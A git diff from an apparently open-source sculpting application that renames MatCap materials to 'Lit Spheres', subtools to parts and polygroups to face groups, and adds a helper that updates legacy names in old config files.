+ {0xDE377B61A12DA42Dull, 4, "lower", "Lower"}, // W11
+ {0xD4F75918FABCC503ull, 3, "bridge", "Bridge"}, // W12
+};
-// Action ids (hotkeys, shelves and menus saved in configs).
-inline constexpr Rename kActionIds[] = {{"brush.damstandard", "brush.sharpcrease"},
- {"brush.claybuildup", "brush.clayblock"},
- {"brush.snakehook", "brush.tendril"}};
+// Today's spelling of `s`: every old word in it replaced, keeping its case (lower, Capitalised or UPPER).
+// Returns `s` unchanged when it holds none. Only for names SculptForge itself wrote (ids, keys, command and value
+// names, archive paths), never for user text or file-system paths.
+inline std::string modernize(std::string_view s) {
+ std::string out;
+ out.reserve(s.size() + 8);
+ for (size_t i = 0; i < s.size();) {
+ const Word* hit = nullptr;
+ if (std::isalpha(uint8_t(s[i])))
+ for (const Word& w : kWords)
+ if (i + w.length <= s.size() && hash(s.substr(i, w.length)) == w.hash) {
+ hit = &w;
+ break;
+ }
+ if (!hit) {
+ out += s[i++];
+ continue;
+ }
+ const bool upper = std::isupper(uint8_t(s[i])) != 0;
+ bool allUpper = upper;
+ for (size_t k = i; allUpper && k < i + hit->length; ++k) allUpper = !std::islower(uint8_t(s[k]));
+ if (allUpper)
+ for (char c : hit->lower) out += char(std::toupper(uint8_t(c)));
+ else
+ out += upper ? hit->title : hit->lower;
+ i += hit->length;
+ }
+ return out;
+}
-// User library folders (Documents/SculptForge/<folder>): moved to today's name once, when the library opens.
-inline constexpr Rename kLibraryFolders[] = {{"MatCaps", "Lit Spheres"}};
+// Whether `s` holds an old word (modernize would change it).
+inline bool isOld(std::string_view s) { return modernize(s) != s; }
-// Today's name for an old one, or "" when `name` isn't an old name.
-inline std::string_view renamed(const Rename* begin, const Rename* end, std::string_view name) {
- for (const Rename* r = begin; r != end; ++r)
- if (r->old == name) return r->now;
- return {};
-}
-template <size_t N> std::string_view renamed(const Rename (&table)[N], std::string_view name) {
- return renamed(table, table + N, name);
+// `j` with every object key modernized (values as they are), for a file an older version wrote.
+inline Json modernizeKeys(const Json& j) {
+ if (j.isArray()) {
+ Json out = Json::array();
+ for (const Json& v : j.items()) out.push(modernizeKeys(v));
+ return out;
+ }
+ if (!j.isObject()) return j;
+ Json out = Json::object();
+ for (const auto& [k, v] : j.members()) out.set(modernize(k), modernizeKeys(v));
+ return out;
}
+// Brush stored names renamed without a trademark reason (compared squashed and lower-case).
+struct Rename {
+ std::string_view old, now;
+};
+inline constexpr Rename kBrushNames[] = {{"snakehook", "Tendril"}};
+
} // namespace sf::legacy
diff --git a/src/core/Matcap.cpp b/src/core/LitSphere.cpp
similarity index 79%
rename from src/core/Matcap.cpp
rename to src/core/LitSphere.cpp
index bcabba1a..0d9edc8e 100644
--- a/src/core/Matcap.cpp
+++ b/src/core/LitSphere.cpp
@@ -1,6 +1,6 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
-#include "core/Matcap.h"
+#include "core/LitSphere.h"
#include "core/BrushLibrary.h"
#include "core/Image.h"
@@ -23,10 +23,10 @@ namespace sf {
namespace {
-// A small lighting model evaluated once per matcap pixel: wrapped diffuse with
+// A small lighting model evaluated once per lit sphere pixel: wrapped diffuse with
// a subsurface tint at the terminator, Blinn specular, rim, and for metals a
// studio environment (sky, horizon, ground, softbox) seen by reflection.
-struct MatcapStyle {
+struct LitSphereStyle {
const char* name;
glm::vec3 albedo; // linear
float wrap; // diffuse wrap (soft, waxy materials)
@@ -37,21 +37,21 @@ struct MatcapStyle {
float roughness; // blurs the environment for metals
// The shared model (shade), or a light of its own: shadeSculpt (readability first) or shadeSoftClay.
enum class Light { Shared, Sculpt, SoftClay } light = Light::Shared;
- MatcapCavity cavity{};
+ LitSphereCavity cavity{};
};
-const MatcapStyle kStyles[] = {
+const LitSphereStyle kStyles[] = {
{"Sculpt", {0.54f, 0.46f, 0.39f}, 0.0f, {0.0f, 0.0f, 0.0f}, 0.0f, 0.0f, {0.0f, 0.0f, 0.0f}, 0.0f, 0.0f,
- MatcapStyle::Light::Sculpt, {0.8f, 0.35f}},
+ LitSphereStyle::Light::Sculpt, {0.8f, 0.35f}},
{"Red Wax", {0.50f, 0.045f, 0.03f}, 0.55f, {0.55f, 0.06f, 0.03f}, 0.55f, 70.0f, {0.25f, 0.08f, 0.06f}, 0.0f, 0.0f},
{"Clay", {0.50f, 0.27f, 0.17f}, 0.25f, {0.05f, 0.03f, 0.02f}, 0.06f, 10.0f, {0.10f, 0.10f, 0.11f}, 0.0f, 0.0f},
{"Skin", {0.68f, 0.38f, 0.28f}, 0.6f, {0.6f, 0.16f, 0.08f}, 0.16f, 28.0f, {0.22f, 0.16f, 0.15f}, 0.0f, 0.0f},
{"Chrome", {0.95f, 0.96f, 1.0f}, 0.0f, {0.0f, 0.0f, 0.0f}, 0.0f, 1.0f, {0.0f, 0.0f, 0.0f}, 1.0f, 0.05f},
{"White", {0.78f, 0.78f, 0.76f}, 0.3f, {0.04f, 0.04f, 0.05f}, 0.3f, 45.0f, {0.12f, 0.13f, 0.15f}, 0.0f, 0.0f},
{"Bronze", {0.80f, 0.50f, 0.25f}, 0.0f, {0.0f, 0.0f, 0.0f}, 0.0f, 1.0f, {0.0f, 0.0f, 0.0f}, 1.0f, 0.35f},
- // The default (defaultMatcap()). Last, so the indices of the others stay put.
+ // The default (defaultLit Sphere()). Last, so the indices of the others stay put.
{"Soft Clay", {0.50f, 0.455f, 0.41f}, 0.0f, {0.0f, 0.0f, 0.0f}, 0.0f, 0.0f, {0.0f, 0.0f, 0.0f}, 0.0f, 0.0f,
- MatcapStyle::Light::SoftClay, {0.3f, 0.08f}},
+ LitSphereStyle::Light::SoftClay, {0.3f, 0.08f}},
};
constexpr int kStyleCount = int(sizeof kStyles / sizeof kStyles[0]);
@@ -73,11 +73,11 @@ glm::vec3 environment(const glm::vec3& r, float roughness) {
return c;
}
-// Built for reading the surface while sculpting, after ZBrush's default material and Blender's sculpt
+// Built for reading the surface while sculpting, after the classic default material and Blender's sculpt
// studio light: a strong key from the upper left, little ambient so forms don't flatten, a crisp
// highlight that catches every undulation, only a hint of rim and no fresnel glow. Creases get the
// strongest cavity darkening of the materials (kStyles' cavity, applied by the mesh shader).
-glm::vec3 shadeSculpt(const MatcapStyle& m, const glm::vec3& n) {
+glm::vec3 shadeSculpt(const LitSphereStyle& m, const glm::vec3& n) {
const glm::vec3 v(0.0f, 0.0f, 1.0f);
const glm::vec3 key = glm::normalize(glm::vec3(-0.4f, 0.65f, 0.65f));
const glm::vec3 fill = glm::normalize(glm::vec3(0.75f, -0.3f, 0.6f));
@@ -100,7 +100,7 @@ glm::vec3 shadeSculpt(const MatcapStyle& m, const glm::vec3& n) {
// ridge part clearly), a form shadow on the lower right that goes well down without going black, a cool fill and
// sky/ground ambient, a broad low sheen that runs along ridges (no hot spot), and a cool rim strongest on the
// lower right so the silhouette holds against the charcoal background where the key doesn't reach.
-glm::vec3 shadeSoftClay(const MatcapStyle& m, const glm::vec3& n) {
+glm::vec3 shadeSoftClay(const LitSphereStyle& m, const glm::vec3& n) {
const glm::vec3 v(0.0f, 0.0f, 1.0f);
const glm::vec3 key = glm::normalize(glm::vec3(-0.55f, 0.68f, 0.55f));
const glm::vec3 fill = glm::normalize(glm::vec3(0.85f, -0.2f, 0.35f));
@@ -123,9 +123,9 @@ glm::vec3 shadeSoftClay(const MatcapStyle& m, const glm::vec3& n) {
return m.albedo * light + glm::vec3(sheen) + rim;
}
-glm::vec3 shade(const MatcapStyle& m, const glm::vec3& n) {
- if (m.light == MatcapStyle::Light::Sculpt) return shadeSculpt(m, n);
- if (m.light == MatcapStyle::Light::SoftClay) return shadeSoftClay(m, n);
+glm::vec3 shade(const LitSphereStyle& m, const glm::vec3& n) {
+ if (m.light == LitSphereStyle::Light::Sculpt) return shadeSculpt(m, n);
+ if (m.light == LitSphereStyle::Light::SoftClay) return shadeSoftClay(m, n);
const glm::vec3 v(0.0f, 0.0f, 1.0f);
const float nv = std::max(n.z, 0.0f);
if (m.metal > 0.0f) {
@@ -160,9 +160,9 @@ std::string squash(const std::string& s) {
namespace {
-// Custom MatCaps, after the built-ins. A deque: names handed out by matcapName stay valid as more are added.
-std::deque<CustomMatcap>& customs() {
- static std::deque<CustomMatcap> list;
+// Custom Lit Spheres, after the built-ins. A deque: names handed out by lit sphereName stay valid as more are added.
+std::deque<CustomLitSphere>& customs() {
+ static std::deque<CustomLitSphere> list;
return list;
}
uint64_t g_revision = 1;
@@ -185,15 +185,15 @@ std::string extensionOf(const std::string& path) {
return e;
}
-// Top-down RGBA8 (sRGB) of any size -> the centred square, scaled down to kMaxMatcapSide, rows bottom-up.
-bool fromTopDown(const std::vector<uint8_t>& src, int w, int h, CustomMatcap& out, std::string& error) {
+// Top-down RGBA8 (sRGB) of any size -> the centred square, scaled down to kMaxLit SphereSide, rows bottom-up.
+bool fromTopDown(const std::vector<uint8_t>& src, int w, int h, CustomLitSphere& out, std::string& error) {
const int side = std::min(w, h);
if (side < 16) {
error = "The Lit Sphere image is too small (at least 16 x 16 pixels)";
return false;
}
const int x0 = (w - side) / 2, y0 = (h - side) / 2;
- const int size = std::min(side, kMaxMatcapSide);
+ const int size = std::min(side, kMaxLitSphereSide);
out.size = size;
out.rgba.assign(size_t(size) * size_t(size) * 4, 255);
const float scale = float(side) / float(size); // box filter when scaling down
@@ -217,75 +217,75 @@ bool fromTopDown(const std::vector<uint8_t>& src, int w, int h, CustomMatcap& ou
} // namespace
-int matcapCount() { return kStyleCount + int(customs().size()); }
-int builtinMatcapCount() { return kStyleCount; }
-bool isCustomMatcap(int index) { return index >= kStyleCount && index < matcapCount(); }
-bool isMatcapListed(int index) {
- return (index >= 0 && index < kStyleCount) || (isCustomMatcap(index) && !customs()[size_t(index - kStyleCount)].removed);
+int litsphereCount() { return kStyleCount + int(customs().size()); }
+int builtinLitSphereCount() { return kStyleCount; }
+bool isCustomLitSphere(int index) { return index >= kStyleCount && index < litsphereCount(); }
+bool isLitSphereListed(int index) {
+ return (index >= 0 && index < kStyleCount) || (isCustomLitSphere(index) && !customs()[size_t(index - kStyleCount)].removed);
}
-const CustomMatcap* customMatcap(int index) { return isCustomMatcap(index) ? &customs()[size_t(index - kStyleCount)] : nullptr; }
-uint64_t matcapRevision() { return g_revision; }
+const CustomLitSphere* customLitSphere(int index) { return isCustomLitSphere(index) ? &customs()[size_t(index - kStyleCount)] : nullptr; }
+uint64_t litsphereRevision() { return g_revision; }
-std::string matcapKey(int index) {
- if (const CustomMatcap* c = customMatcap(index)) {
+std::string litsphereKey(int index) {
+ if (const CustomLitSphere* c = customLitSphere(index)) {
char hex[17];
std::snprintf(hex, sizeof hex, "%016llx", static_cast<unsigned long long>(c->hash));
return c->name + "#" + hex;
}
- return matcapName(index);
+ return litsphereName(index);
}
-int defaultMatcap() {
- static const int index = findMatcap("Soft Clay");
+int defaultLitSphere() {
+ static const int index = findLitSphere("Soft Clay");
return index;
}
-int matcapInListOrder(int k) {
- if (k < 0 || k >= matcapCount()) return -1;
- if (k >= kStyleCount) return k; // custom MatCaps after the built-ins, in the order they were added
- const int d = defaultMatcap();
+int litsphereInListOrder(int k) {
+ if (k < 0 || k >= litsphereCount()) return -1;
+ if (k >= kStyleCount) return k; // custom Lit Spheres after the built-ins, in the order they were added
+ const int d = defaultLitSphere();
return k == 0 ? d : k <= d ? k - 1 : k;
}
-const char* matcapName(int index) {
- if (const CustomMatcap* c = customMatcap(index)) return c->name.c_str();
+const char* litsphereName(int index) {
+ if (const CustomLitSphere* c = customLitSphere(index)) return c->name.c_str();
return index >= 0 && index < kStyleCount ? kStyles[index].name : "";
}
-MatcapCavity matcapCavity(int index) { return index >= 0 && index < kStyleCount ? kStyles[index].cavity : MatcapCavity{}; }
+LitSphereCavity litsphereCavity(int index) { return index >= 0 && index < kStyleCount ? kStyles[index].cavity : LitSphereCavity{}; }
-int findMatcap(const std::string& name) {
+int findLitSphere(const std::string& name) {
const std::string key = squash(name);
- for (int i = 0; i < matcapCount(); ++i)
- if (isMatcapListed(i) && squash(matcapName(i)) == key) return i;
+ for (int i = 0; i < litsphereCount(); ++i)
+ if (isLitSphereListed(i) && squash(litsphereName(i)) == key) return i;
return -1;
}
-int findMatcapByPath(const std::string& path) {
+int findLitSphereByPath(const std::string& path) {
for (size_t i = 0; i < customs().size(); ++i)
if (!customs()[i].removed && !path.empty() && customs()[i].path == path) return kStyleCount + int(i);
return -1;
}
-bool removeCustomMatcap(int index) {
- if (!isCustomMatcap(index) || customs()[size_t(index - kStyleCount)].removed) return false;
+bool removeCustomLitSphere(int index) {
+ if (!isCustomLitSphere(index) || customs()[size_t(index - kStyleCount)].removed) return false;
customs()[size_t(index - kStyleCount)].removed = true;
++g_revision;
return true;
}
-int findMatcapByHash(uint64_t hash) {
+int findLitSphereByHash(uint64_t hash) {
for (size_t i = 0; i < customs().size(); ++i)
if (!customs()[i].removed && customs()[i].hash == hash) return kStyleCount + int(i);
return -1;
}
-bool isMatcapFile(const std::string& path) {
+bool isLitSphereFile(const std::string& path) {
const std::string e = extensionOf(path);
return e == ".png" || e == ".jpg" || e == ".jpeg" || e == ".exr" || e == ".bmp" || e == ".tga" || e == ".hdr";
}
-bool decodeMatcapImage(const unsigned char* bytes, size_t size, CustomMatcap& out, std::string& error) {
+bool decodeLitSphereImage(const unsigned char* bytes, size_t size, CustomLitSphere& out, std::string& error) {
if (bytes && size > 0 && IsEXRFromMemory(bytes, size) == TINYEXR_SUCCESS) {
float* rgba = nullptr;
int w = 0, h = 0;
@@ -316,7 +316,7 @@ bool decodeMatcapImage(const unsigned char* bytes, size_t size, CustomMatcap& ou
return fromTopDown(img.rgba, img.width, img.height, out, error);
}
-bool readMatcapImage(const std::string& path, CustomMatcap& out, std::string& error) {
+bool readLitSphereImage(const std::string& path, CustomLitSphere& out, std::string& error) {
std::ifstream f(utf8Path(path), std::ios::binary);
if (!f) {
error = "Can't open " + path;
@@ -327,7 +327,7 @@ bool readMatcapImage(const std::string& path, CustomMatcap& out, std::string& er
error = path + " is too big for a Lit Sphere";
return false;
}
- if (!decodeMatcapImage(bytes.data(), bytes.size(), out, error)) {
+ if (!decodeLitSphereImage(bytes.data(), bytes.size(), out, error)) {
error = path + ": " + error;
return false;
}
@@ -337,8 +337,8 @@ bool readMatcapImage(const std::string& path, CustomMatcap& out, std::string& er
return true;
}
-bool encodeMatcapPng(int index, std::vector<uint8_t>& png) {
- const CustomMatcap* c = customMatcap(index);
+bool encodeLitSpherePng(int index, std::vector<uint8_t>& png) {
+ const CustomLitSphere* c = customLitSphere(index);
if (!c) return false;
Image img;
img.width = img.height = c->size;
@@ -348,12 +348,12 @@ bool encodeMatcapPng(int index, std::vector<uint8_t>& png) {
return img.encodePng(png);
}
-int addCustomMatcap(CustomMatcap m) {
+int addCustomLitSphere(CustomLitSphere m) {
if (m.name.empty()) m.name = "Lit Sphere";
if (m.hash == 0) m.hash = hashPixels(m.rgba, m.size);
// A built-in's name stays the built-in's: the custom one becomes "Chrome 2".
const std::string base = m.name;
- for (int n = 2; findMatcap(m.name) >= 0 && findMatcap(m.name) < kStyleCount; ++n) m.name = base + " " + std::to_string(n);
+ for (int n = 2; findLitSphere(m.name) >= 0 && findLitSphere(m.name) < kStyleCount; ++n) m.name = base + " " + std::to_string(n);
++g_revision;
m.removed = false;
for (size_t i = 0; i < customs().size(); ++i) // the same name, listed or removed: replace it in place
@@ -362,37 +362,37 @@ int addCustomMatcap(CustomMatcap m) {
return kStyleCount + int(i);
}
customs().push_back(std::move(m));
- return matcapCount() - 1;
+ return litsphereCount() - 1;
}
-std::vector<std::string> loadMatcapFolders(const std::vector<std::string>& dirs) {
+std::vector<std::string> loadLitSphereFolders(const std::vector<std::string>& dirs) {
std::vector<std::string> messages;
for (const std::string& dir : dirs) {
std::vector<std::string> files;
std::error_code ec;
for (fs::directory_iterator it(utf8Path(dir), ec), end; !ec && it != end; it.increment(ec)) {
std::error_code fileEc;
- if (isMatcapFile(pathString(it->path())) && it->is_regular_file(fileEc)) files.push_back(pathString(it->path()));
+ if (isLitSphereFile(pathString(it->path())) && it->is_regular_file(fileEc)) files.push_back(pathString(it->path()));
}
std::sort(files.begin(), files.end());
for (const std::string& f : files) {
- CustomMatcap m;
+ CustomLitSphere m;
std::string err;
- if (readMatcapImage(f, m, err)) addCustomMatcap(std::move(m));
+ if (readLitSphereImage(f, m, err)) addCustomLitSphere(std::move(m));
else messages.push_back("Skipped " + err);
}
}
return messages;
}
-std::vector<std::string> studioMatcapDirs() {
- const char* v = std::getenv("SCULPTFORGE_MATCAP_PATH"); // marks-pending
+std::vector<std::string> studioLitSphereDirs() {
+ const char* v = std::getenv("SCULPTFORGE_LITSPHERE_PATH");
return splitSearchPath(v ? v : "");
}
-std::vector<uint8_t> generateMatcap(int index, int size) {
+std::vector<uint8_t> generateLitSphere(int index, int size) {
if (size <= 0) return {};
- if (const CustomMatcap* c = customMatcap(index)) { // nearest sample of its own pixels
+ if (const CustomLitSphere* c = customLitSphere(index)) { // nearest sample of its own pixels
std::vector<uint8_t> rgba(size_t(size) * size_t(size) * 4);
for (int j = 0; j < size; ++j)
for (int i = 0; i < size; ++i) {
@@ -402,7 +402,7 @@ std::vector<uint8_t> generateMatcap(int index, int size) {
return rgba;
}
if (index < 0 || index >= kStyleCount) return {};
- const MatcapStyle& m = kStyles[index];
+ const LitSphereStyle& m = kStyles[index];
std::vector<uint8_t> rgba(size_t(size) * size_t(size) * 4);
for (int j = 0; j < size; ++j)
for (int i = 0; i < size; ++i) {
diff --git a/src/core/LitSphere.h b/src/core/LitSphere.h
new file mode 100644
index 00000000..611fd5cc
--- /dev/null
+++ b/src/core/LitSphere.h
@@ -0,0 +1,86 @@
+// SculptForge - open source digital sculpting
+// SPDX-License-Identifier: GPL-3.0-or-later
+//
+// Built-in Lit Sphere ("material capture") materials. Each is a lit-sphere image
+// generated procedurally here (no third-party images): the viewport looks up
+// the colour by the view-space normal, so a whole material costs one texture
+// fetch. Vertex paint multiplies the lit sphere; cavity shading is applied on top.
+#pragma once
+
+#include <cstdint>
+#include <string>
+#include <vector>
+
+namespace sf {
+
+int litsphereCount();
+const char* litsphereName(int index);
+// Case-insensitive; also accepts names without spaces ("redwax"). -1 if unknown.
+int findLitSphere(const std::string& name);
+// The material new documents (and thumbnails) start with: Soft Clay, a matte warm clay.
+int defaultLitSphere();
+// The order the pickers list the Lit Spheres in: k = 0 is the default, then the others in index order.
+int litsphereInListOrder(int k);
+
+// How strongly the viewport darkens creases and lifts ridges on top of this lit sphere (the
+// curvature term in the mesh shader); the Sculpt material leans on it more than the others.
+struct LitSphereCavity {
+ float crease = 0.55f, ridge = 0.2f;
+};
+LitSphereCavity litsphereCavity(int index);
+
+// `size` x `size` RGBA8 pixels, sRGB-encoded, rows bottom-up (OpenGL order):
+// pixel (i, j) shows the sphere normal x = (i + 0.5) / size * 2 - 1,
+// y = (j + 0.5) / size * 2 - 1. Pixels outside the disk repeat the rim.
+// For a custom Lit Sphere: its own pixels, resampled to `size`.
+std::vector<uint8_t> generateLitSphere(int index, int size = 256);
+
+// --- Custom Lit Spheres (#15) ---
+// Sphere images the artist loads (Material > Load Lit Sphere...) or drops into the library's Lit Spheres folder. They come
+// after the built-ins in index order (lit sphereCount() includes them), for the session; the registry is process-wide
+// and only touched from one thread (the app's main thread, or a CLI / test).
+struct CustomLitSphere {
+ std::string name; // the file name without its extension
+ std::string path; // the image it was read from (empty: embedded in a project)
+ int size = 0; // size x size pixels
+ std::vector<uint8_t> rgba; // sRGB RGBA8, rows bottom-up, as generateLit Sphere
+ uint64_t hash = 0; // of the pixels (thumbnail keys, finding a project's Lit Sphere again)
+ bool removed = false; // removeCustomLit Sphere: kept so indices stay put, but listed and found no more
+};
+constexpr int kMaxLitSphereSide = 1024; // bigger images are scaled down
+
+int builtinLitSphereCount();
+bool isCustomLitSphere(int index); // also true for a removed one (its index stays taken)
+// Shown in the material lists: a built-in, or a custom Lit Sphere that wasn't removed.
+bool isLitSphereListed(int index);
+const CustomLitSphere* customLitSphere(int index); // null for built-ins and bad indices
+// Changes whenever a custom Lit Sphere is added or its pixels replaced (renderers upload again).
+uint64_t litsphereRevision();
+// Name plus, for custom Lit Spheres, the pixel hash: a cache key that changes with the image.
+std::string litsphereKey(int index);
+
+// .png .jpg .jpeg .exr (also .bmp .tga .hdr, which stb_image reads).
+bool isLitSphereFile(const std::string& path);
+// Reads a sphere image: 8-bit formats through stb_image, OpenEXR as linear light (clamped, then sRGB). A non-square
+// image is cropped to its centred square; the name is the file name without its extension.
+bool readLitSphereImage(const std::string& path, CustomLitSphere& out, std::string& error);
+bool decodeLitSphereImage(const unsigned char* bytes, size_t size, CustomLitSphere& out, std::string& error);
+// PNG of the Lit Sphere's pixels (top row first), e.g. to embed it in a project; false for built-ins.
+bool encodeLitSpherePng(int index, std::vector<uint8_t>& png);
+// Adds `m`, or replaces the pixels of the custom Lit Sphere of the same name (case-insensitive; a removed one comes
+// back at its old index); a built-in's name gets " 2" (" 3" ...). Returns its index.
+int addCustomLitSphere(CustomLitSphere m);
+// Takes a custom Lit Sphere out of the lists and name lookups for the rest of the session (its file is the caller's
+// business). False for built-ins and bad indices.
+bool removeCustomLitSphere(int index);
+// The listed custom Lit Sphere read from `path` (exact path), or -1.
+int findLitSphereByPath(const std::string& path);
+// The index of a custom Lit Sphere with exactly these pixels, or -1.
+int findLitSphereByHash(uint64_t hash);
+// Every Lit Sphere image directly in each folder (sorted by name; later folders replace earlier ones by name).
+// Returns a message per file that couldn't be read.
+std::vector<std::string> loadLitSphereFolders(const std::vector<std::string>& dirs);
+// Studio Lit Sphere folders from SCULPTFORGE_LITSPHERE_PATH (':' separated, ';' on Windows), read-only.
+std::vector<std::string> studioLitSphereDirs();
+
+} // namespace sf
diff --git a/src/core/Macro.cpp b/src/core/Macro.cpp
index aa366b02..ad22a990 100644
--- a/src/core/Macro.cpp
+++ b/src/core/Macro.cpp
@@ -43,7 +43,7 @@ const std::set<std::string>& deniedCommands() {
static const std::set<std::string> kDenied = {
"brush_ai", "brush_gallery_install", "brush_gallery_search", "comfyui_check", "image_to_3d",
"text_to_3d", "splat_train", "splat_train_cancel", "blender_send", "blender_receive",
- "maya_send", "maya_receive", "goz_send", "goz_receive", "unreal_send",
+ "maya_send", "maya_receive", "bridge_send", "bridge_receive", "unreal_send",
"unreal_editors", "blender_keymap_import", "macro_run", "macro_list", "macro_check",
"pack_install", "pack_remove", "pack_enable", "pack_disable", "pack_list",
"pack_create", "calibrate"};
@@ -51,7 +51,7 @@ const std::set<std::string>& deniedCommands() {
}
// Parameters a macro may never set (network addresses, programs to start).
bool deniedParam(const std::string& p) {
- return p == "url" || p == "endpoint" || p == "gallery" || p == "zbrush" || p == "workflow" || p == "launch" ||
+ return p == "url" || p == "endpoint" || p == "gallery" || p == "classic" || p == "workflow" || p == "launch" ||
p == "provider" || p == "service";
}
@@ -295,11 +295,11 @@ std::string macroFileName(const std::string& name) {
// ---------------------------------------------------------------------------
MacroUndoGroup::MacroUndoGroup(const Document& doc)
- : subtoolId_(doc.activeSubtoolInfo().id), subtools_(doc.subtoolCount()), undoCount_(doc.undo.undoCount()),
+ : partId_(doc.activePartInfo().id), parts_(doc.partCount()), undoCount_(doc.undo.undoCount()),
revision_(doc.undo.revision()) {}
bool MacroUndoGroup::end(Document& doc, const std::string& label) {
- if (!enabled_ || doc.subtoolCount() != subtools_ || doc.activeSubtoolInfo().id != subtoolId_) return false;
+ if (!enabled_ || doc.partCount() != parts_ || doc.activePartInfo().id != partId_) return false;
const size_t now = doc.undo.undoCount();
if (now < undoCount_ + 2) return false; // nothing to fold
const size_t k = now - undoCount_;
@@ -307,7 +307,7 @@ bool MacroUndoGroup::end(Document& doc, const std::string& label) {
if (doc.mesh.multires || doc.mesh.micro) return false;
for (size_t i = 0; i < k; ++i) {
const UndoRecord* r = doc.undo.undoStep(i);
- if (!r || r->subtool || r->subdiv || r->micro || r->texture || r->textureTiles) return false;
+ if (!r || r->part || r->subdiv || r->micro || r->texture || r->textureTiles) return false;
}
Mesh after = doc.mesh;
for (size_t i = 0; i < k; ++i)
diff --git a/src/core/Macro.h b/src/core/Macro.h
index 7a201792..2b8a8aa7 100644
--- a/src/core/Macro.h
+++ b/src/core/Macro.h
@@ -90,8 +90,8 @@ public:
void disable() { enabled_ = false; } // the macro ran undo / redo itself: leave its steps alone
private:
- uint32_t subtoolId_ = 0;
- int subtools_ = 0;
+ uint32_t partId_ = 0;
+ int parts_ = 0;
size_t undoCount_ = 0;
uint64_t revision_ = 0;
bool enabled_ = true;
diff --git a/src/core/MapExport.cpp b/src/core/MapExport.cpp
index 6f3be169..596b9f04 100644
--- a/src/core/MapExport.cpp
+++ b/src/core/MapExport.cpp
@@ -485,8 +485,8 @@ void registerMapExportCommands(CommandRegistry& reg) {
std::string err;
if (!findExportPreset(argString(a, "preset", "gltf"), preset, err)) return {false, err};
std::string name = argString(a, "name");
- if (name.empty() && doc.activeSubtool >= 0 && doc.activeSubtool < doc.subtoolCount())
- name = doc.subtools[size_t(doc.activeSubtool)].name;
+ if (name.empty() && doc.activePart >= 0 && doc.activePart < doc.partCount())
+ name = doc.parts[size_t(doc.activePart)].name;
if (name.empty()) name = "Sculpt";
std::vector<ExportedMap> written;
if (!exportMaps(*doc.mesh.texture, preset, folder, name, written, err)) return {false, err};
diff --git a/src/core/Masking.cpp b/src/core/Masking.cpp
index e82c3ce6..b50f99f0 100644
--- a/src/core/Masking.cpp
+++ b/src/core/Masking.cpp
@@ -199,13 +199,13 @@ bool maskByCavity(Mesh& mesh, float strength, float threshold) {
});
}
-bool maskByPolygroup(Mesh& mesh, uint32_t group, bool add) {
+bool maskByFaceGroup(Mesh& mesh, uint32_t group, bool add) {
const uint32_t n = static_cast<uint32_t>(mesh.vertexCount());
if (n == 0) return false;
std::vector<uint8_t> inGroup(n, 0);
bool found = false;
for (uint32_t t = 0; t < mesh.triangleCount(); ++t) {
- if (mesh.polygroupAt(t) != group || mesh.triangleHidden(t)) continue;
+ if (mesh.facegroupAt(t) != group || mesh.triangleHidden(t)) continue;
const glm::uvec3& tri = mesh.triangles[t];
inGroup[tri.x] = inGroup[tri.y] = inGroup[tri.z] = 1;
found = true;
@@ -216,7 +216,7 @@ bool maskByPolygroup(Mesh& mesh, uint32_t group, bool add) {
});
}
-std::vector<uint8_t> borderVertices(const Mesh& mesh, bool polygroups) {
+std::vector<uint8_t> borderVertices(const Mesh& mesh, bool facegroups) {
const uint32_t n = static_cast<uint32_t>(mesh.vertexCount());
std::vector<uint8_t> border(n, 0);
poolFor(n, [&](size_t b, size_t e) {
@@ -230,8 +230,8 @@ std::vector<uint8_t> borderVertices(const Mesh& mesh, bool polygroups) {
const glm::uvec3& tri = mesh.triangles[t];
for (int k = 0; k < 3; ++k)
if (tri[k] != v) corners.push_back(tri[k]);
- if (!polygroups || mesh.triangleHidden(t)) continue;
- const uint32_t g = mesh.polygroupAt(t);
+ if (!facegroups || mesh.triangleHidden(t)) continue;
+ const uint32_t g = mesh.facegroupAt(t);
if (seenGroup && g != group) mixed = true;
group = g;
seenGroup = true;
@@ -252,14 +252,14 @@ std::vector<uint8_t> borderVertices(const Mesh& mesh, bool polygroups) {
return border;
}
-bool maskBorder(Mesh& mesh, int rings, bool polygroups, bool soft, float strength, bool add, size_t* found) {
+bool maskBorder(Mesh& mesh, int rings, bool facegroups, bool soft, float strength, bool add, size_t* found) {
const uint32_t n = static_cast<uint32_t>(mesh.vertexCount());
if (found) *found = 0;
if (n == 0) return false;
rings = std::clamp(rings, 1, 20);
strength = std::clamp(strength, 0.0f, 1.0f);
// Ring index of each vertex from the border (0 = on it), out to rings - 1; -1 beyond.
- const std::vector<uint8_t> border = borderVertices(mesh, polygroups);
+ const std::vector<uint8_t> border = borderVertices(mesh, facegroups);
std::vector<int8_t> ring(n, -1);
std::vector<uint32_t> frontier, next;
for (uint32_t v = 0; v < n; ++v)
@@ -417,12 +417,12 @@ void registerMaskingCommands(CommandRegistry& registry) {
return maskByCavity(m, float(argNumber(a, "strength", 1.0)),
std::clamp(float(argNumber(a, "threshold", 0.02)), -1.0f, 1.0f));
});
- add("mask_by_polygroup", "Mask by Face Group",
+ add("mask_by_facegroup", "Mask by Face Group",
"Mask the vertices of one face group (meshes without face groups are all group 0).",
{{"group", T::Number, "Face Group id.", true},
{"add", T::Bool, "Add to the current mask instead of replacing it. Default false.", false}},
[](Mesh& m, const Args& a) {
- return maskByPolygroup(m, uint32_t(std::max(0.0, argNumber(a, "group", 0))), argBool(a, "add", false));
+ return maskByFaceGroup(m, uint32_t(std::max(0.0, argNumber(a, "group", 0))), argBool(a, "add", false));
});
registry.add(
@@ -433,7 +433,7 @@ void registerMaskingCommands(CommandRegistry& registry) {
{{"rings", T::Number, "Width of the mask in edge rings from the border (1-20; 1 = the border vertices only). "
"Default 1.",
false},
- {"polygroups", T::Bool, "Also mask face group borders. Default false.",
+ {"facegroups", T::Bool, "Also mask face group borders. Default false.",
false},
{"soft", T::Bool, "Fade the mask from the border towards the innermost ring. Default false.", false},
{"strength", T::Number, "Mask value on the border (0-1). Default 1.", false},
@@ -441,14 +441,14 @@ void registerMaskingCommands(CommandRegistry& registry) {
[](Document& doc, const Args& a) -> CommandResult {
if (doc.mesh.vertexCount() == 0) return {false, "The mesh is empty"};
const std::string label = "Mask Border";
- const bool polygroups = argBool(a, "polygroups", false);
+ const bool facegroups = argBool(a, "facegroups", false);
UndoRecord record = UndoRecord::captureMask(doc.mesh, label);
size_t found = 0;
const bool changed =
- maskBorder(doc.mesh, int(argNumber(a, "rings", 1)), polygroups, argBool(a, "soft", false),
